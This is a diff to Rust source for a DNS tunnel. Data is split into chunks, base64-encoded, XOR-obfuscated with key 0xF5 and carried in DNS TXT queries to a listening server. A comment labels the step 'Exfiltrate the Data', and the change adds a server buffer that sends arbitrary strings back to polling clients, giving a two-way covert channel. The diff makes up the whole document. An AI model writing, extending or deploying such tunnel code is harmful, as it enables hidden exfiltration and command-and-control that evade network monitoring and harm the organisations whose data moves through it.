|
@@ -103,16 +103,23 @@ pub struct DnsTunnel {
|
|
|
server: String,
|
|
|
domain: String,
|
|
|
port: u16,
|
|
|
+ server_buffer: String
|
|
|
}
|
|
|
|
|
|
-impl DnsTunnel {
|
|
|
+impl<'a> DnsTunnel {
|
|
|
|
|
|
/// Craft a new instance of a DNS Tunnel
|
|
|
/// ip: IP of the DNS tunnel server
|
|
|
/// port: port of the DNS tunnel server
|
|
|
pub fn new(domain: String, server: String, port: u16) -> DnsTunnel {
|
|
|
- DnsTunnel { server, port, domain }
|
|
|
+ DnsTunnel { server, port, domain, server_buffer: String::new() }
|
|
|
}
|
|
|
+
|
|
|
+ /// keeps open a listener to transfer data via DNS tunneling
|
|
|
+ pub fn new_server(domain: String, port: u16) -> DnsTunnel {
|
|
|
+ DnsTunnel { server: String::new(), port, domain, server_buffer: String::new() }
|
|
|
+ }
|
|
|
+
|
|
|
pub fn connect(&self) -> Result<(), &str> {
|
|
|
if !self.check_connection() {
|
|
|
println!("[-] DNS Tunnel not reachable");
|
|
@@ -122,6 +129,12 @@ impl DnsTunnel {
|
|
|
Ok(())
|
|
|
}
|
|
|
|
|
|
+ /// A function that can be called from the server side and lets the server send arbitrary
|
|
|
+ /// strings
|
|
|
+ pub fn server_send(&mut self, data: String) {
|
|
|
+ self.server_buffer.push_str(&data);
|
|
|
+ }
|
|
|
+
|
|
|
pub fn send_string(&self, data: String) -> Result<(), &str> {
|
|
|
|
|
|
if !self.init_send() {
|
|
@@ -142,7 +155,6 @@ impl DnsTunnel {
|
|
|
for chunk in chunks {
|
|
|
// Send the actual DATA after the tunnel is established
|
|
|
println!("[DBG]: Sending Chunk: {}", chunk);
|
|
|
-
|
|
|
// send the chunk
|
|
|
self.send_chunk(chunk);
|
|
|
}
|
|
@@ -160,89 +172,102 @@ impl DnsTunnel {
|
|
|
|
|
|
}
|
|
|
|
|
|
- /// keeps open a listener to transfer data via DNS tunneling
|
|
|
- pub fn tunnel_server(port: u16) {
|
|
|
+ pub fn serve(&mut self) {
|
|
|
|
|
|
let mut full_data: String = String::new();
|
|
|
|
|
|
println!("[+] Started DNS tunnel, ready to receive data...");
|
|
|
- let socket = UdpSocket::bind(("0.0.0.0", port)).unwrap();
|
|
|
+ let socket = UdpSocket::bind(("0.0.0.0", self.port)).unwrap();
|
|
|
|
|
|
// starting main loop
|
|
|
let mut poll_status = PollStatus::NONE;
|
|
|
|
|
|
-
|
|
|
+ let mut message = String::new();
|
|
|
+ // UFF
|
|
|
loop {
|
|
|
let mut response_buffer = BytePacketBuffer::new();
|
|
|
|
|
|
// receive into response buffer
|
|
|
let (_, src) = socket.recv_from(&mut response_buffer.buf).unwrap();
|
|
|
|
|
|
+ // decode the response as DNS packet
|
|
|
let mut packet = DnsPacket::from_bytes(&mut response_buffer);
|
|
|
|
|
|
- if packet.questions.len() >= 1 {
|
|
|
+ // if there is at least one question of the type TXT
|
|
|
+ if packet.questions.len() >= 1 && packet.questions[0].qtype == QueryType::TXT {
|
|
|
let quest = &packet.questions[0];
|
|
|
- if quest.qtype == QueryType::TXT {
|
|
|
-
|
|
|
- let data = &quest.name;
|
|
|
- let mut data: Vec<&str> = data.split(".").collect();
|
|
|
- let data = data[0];
|
|
|
-
|
|
|
- let data = b64decode(data);
|
|
|
- let data = String::from_utf8_lossy(&xor(&data, 0xF5)).to_string();
|
|
|
-
|
|
|
- if !data.contains("INIT") &&
|
|
|
- !data.contains("START") &&
|
|
|
- !data.contains("POLL") &&
|
|
|
- !data.contains("END") {
|
|
|
- let mut data: Vec<&str> = data.split(".").collect();
|
|
|
- let data = data[0];
|
|
|
- full_data.push_str(data);
|
|
|
-
|
|
|
- } else if data.contains("END") {
|
|
|
- println!("[*] Message: {}", full_data);
|
|
|
- full_data = String::new();
|
|
|
- } else if data.contains("POLL") {
|
|
|
+
|
|
|
+
|
|
|
+ // Exfiltrate the Data
|
|
|
+ let data = &packet.questions[0].name;
|
|
|
+ let mut data: Vec<&str> = data.split(".").collect();
|
|
|
+ let data = data[0];
|
|
|
+
|
|
|
+ // Decode/Decrypt the data
|
|
|
+ let data = b64decode(data);
|
|
|
+ let data = String::from_utf8_lossy(&xor(&data, 0xF5)).to_string();
|
|
|
+
|
|
|
+
|
|
|
+ // Return DNS Packet
|
|
|
+ let mut return_packet = DnsPacket::empty();
|
|
|
+
|
|
|
+ match &data[..] {
|
|
|
+ "INIT" => {
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, "ACK".to_string());
|
|
|
+ },
|
|
|
+ "START" => {
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, "ACK".to_string());
|
|
|
+ },
|
|
|
+ "END" => {
|
|
|
+ println!("Full Message {}", message);
|
|
|
+ message = String::new();
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, "ACK".to_string());
|
|
|
+ },
|
|
|
+ "POLL" => {
|
|
|
match poll_status {
|
|
|
PollStatus::NONE => {
|
|
|
// Enter Polling Mode
|
|
|
println!("[*] Polling Recieved");
|
|
|
- let mut ret_pkt = DnsTunnel::get_txt_response(&packet, "START".to_string());
|
|
|
- let res_buffer = DnsTunnel::get_buffer(&mut ret_pkt);
|
|
|
- socket.send_to(res_buffer.get_range(0, res_buffer.pos()).unwrap(), src).unwrap();
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, "START".to_string());
|
|
|
poll_status = PollStatus::STARTED;
|
|
|
},
|
|
|
PollStatus::STARTED => {
|
|
|
- let data = "DAFUQISTHISSHIT";
|
|
|
- // Send the data
|
|
|
- let mut ret_pkt = DnsTunnel::get_txt_response(&packet, data.to_string());
|
|
|
- let res_buffer = DnsTunnel::get_buffer(&mut ret_pkt);
|
|
|
- socket.send_to(res_buffer.get_range(0, res_buffer.pos()).unwrap(), src).unwrap();
|
|
|
- poll_status = PollStatus::FINISHED;
|
|
|
+
|
|
|
+ let mut chunk = String::new();
|
|
|
+ if self.server_buffer.len() >= 63 {
|
|
|
+ chunk = self.server_buffer[..63].to_string();
|
|
|
+ self.server_buffer = self.server_buffer[63..].to_string();
|
|
|
+ } else {
|
|
|
+ chunk.push_str(&self.server_buffer);
|
|
|
+ self.server_buffer = String::new();
|
|
|
+ }
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, chunk);
|
|
|
+
|
|
|
+ if self.server_buffer.len() == 0 {
|
|
|
+ poll_status = PollStatus::FINISHED;
|
|
|
+ }
|
|
|
},
|
|
|
PollStatus::FINISHED => {
|
|
|
// Send STOP message
|
|
|
- let mut ret_pkt = DnsTunnel::get_txt_response(&packet, "END".to_string());
|
|
|
- let res_buffer = DnsTunnel::get_buffer(&mut ret_pkt);
|
|
|
- socket.send_to(res_buffer.get_range(0, res_buffer.pos()).unwrap(), src).unwrap();
|
|
|
+ return_packet = DnsTunnel::get_txt_response(&packet, "END".to_string());
|
|
|
poll_status = PollStatus::NONE;
|
|
|
}
|
|
|
}
|
|
|
-
|
|
|
-
|
|
|
+ },
|
|
|
+ _ => {
|
|
|
+ message.push_str(&data);
|
|
|
}
|
|
|
- // return ACk
|
|
|
- let mut ret_pkt = DnsTunnel::get_txt_response(&packet, "ACK".to_string());
|
|
|
- let res_buffer = DnsTunnel::get_buffer(&mut ret_pkt);
|
|
|
- socket.send_to(res_buffer.get_range(0, res_buffer.pos()).unwrap(), src).unwrap();
|
|
|
|
|
|
- //
|
|
|
- //let data = DnsServer::decode(data);
|
|
|
}
|
|
|
+ // return the response Packet
|
|
|
+ let res_buffer = DnsTunnel::get_buffer(&mut return_packet);
|
|
|
+ socket.send_to(res_buffer.get_range(0, res_buffer.pos()).unwrap(), src).unwrap();
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+
|
|
|
+
|
|
|
/// this is not only checking for an `ACK` as answer, but gets the returned
|
|
|
/// data
|
|
|
fn send_recv(&self, message: &str) -> Result<String, ()> {
|
|
@@ -326,7 +351,7 @@ impl DnsTunnel {
|
|
|
self.send_chunk("END")
|
|
|
}
|
|
|
|
|
|
- pub fn poll(&self) -> Result<String, ()> {
|
|
|
+ pub fn receive_msg(&self) -> Option<String> {
|
|
|
|
|
|
let mut wait_for_data = false;
|
|
|
let mut return_data = String::new();
|
|
@@ -339,9 +364,11 @@ impl DnsTunnel {
|
|
|
wait_for_data = true;
|
|
|
},
|
|
|
"END" => {
|
|
|
- println!("END");
|
|
|
wait_for_data = false;
|
|
|
- return Ok(return_data);
|
|
|
+ return Some(return_data);
|
|
|
+ },
|
|
|
+ "NONE" => {
|
|
|
+ return None;
|
|
|
},
|
|
|
_ => {
|
|
|
return_data.push_str(&data);
|
|
@@ -350,7 +377,7 @@ impl DnsTunnel {
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
- Err(())
|
|
|
+ return None;
|
|
|
}
|
|
|
|
|
|
fn get_txt_response(ref_pkt: &DnsPacket, data: String) -> DnsPacket {
|
|
@@ -387,8 +414,10 @@ impl DnsTunnel {
|
|
|
return res_buffer;
|
|
|
}
|
|
|
|
|
|
- /*
|
|
|
- fn split_data(data: String) -> Vec<String> {
|
|
|
+ /// Function splits String ref into many chunks and returns a
|
|
|
+ /// vector of those chunks
|
|
|
+ fn split_data(&self, data: &'a String) -> Vec<&'a str> {
|
|
|
+
|
|
|
if data.len() > 63 {
|
|
|
// split the data in chunks of 63 bytes
|
|
|
let chunks = data.as_bytes()
|
|
@@ -396,20 +425,12 @@ impl DnsTunnel {
|
|
|
.map(str::from_utf8)
|
|
|
.collect::<Result<Vec<&str>, _>>()
|
|
|
.unwrap();
|
|
|
-
|
|
|
- for chunk in chunks {
|
|
|
- // Send the actual DATA after the tunnel is established
|
|
|
- println!("[DBG]: Sending Chunk: {}", chunk);
|
|
|
-
|
|
|
- // send the chunk
|
|
|
- self.send_chunk(chunk);
|
|
|
- }
|
|
|
- } else {
|
|
|
- self.send_chunk(&data);
|
|
|
+ return chunks;
|
|
|
}
|
|
|
-
|
|
|
+ let mut ret = Vec::new();
|
|
|
+ ret.push(&data[..]);
|
|
|
+ return ret;
|
|
|
}
|
|
|
- */
|
|
|
}
|
|
|
|
|
|
|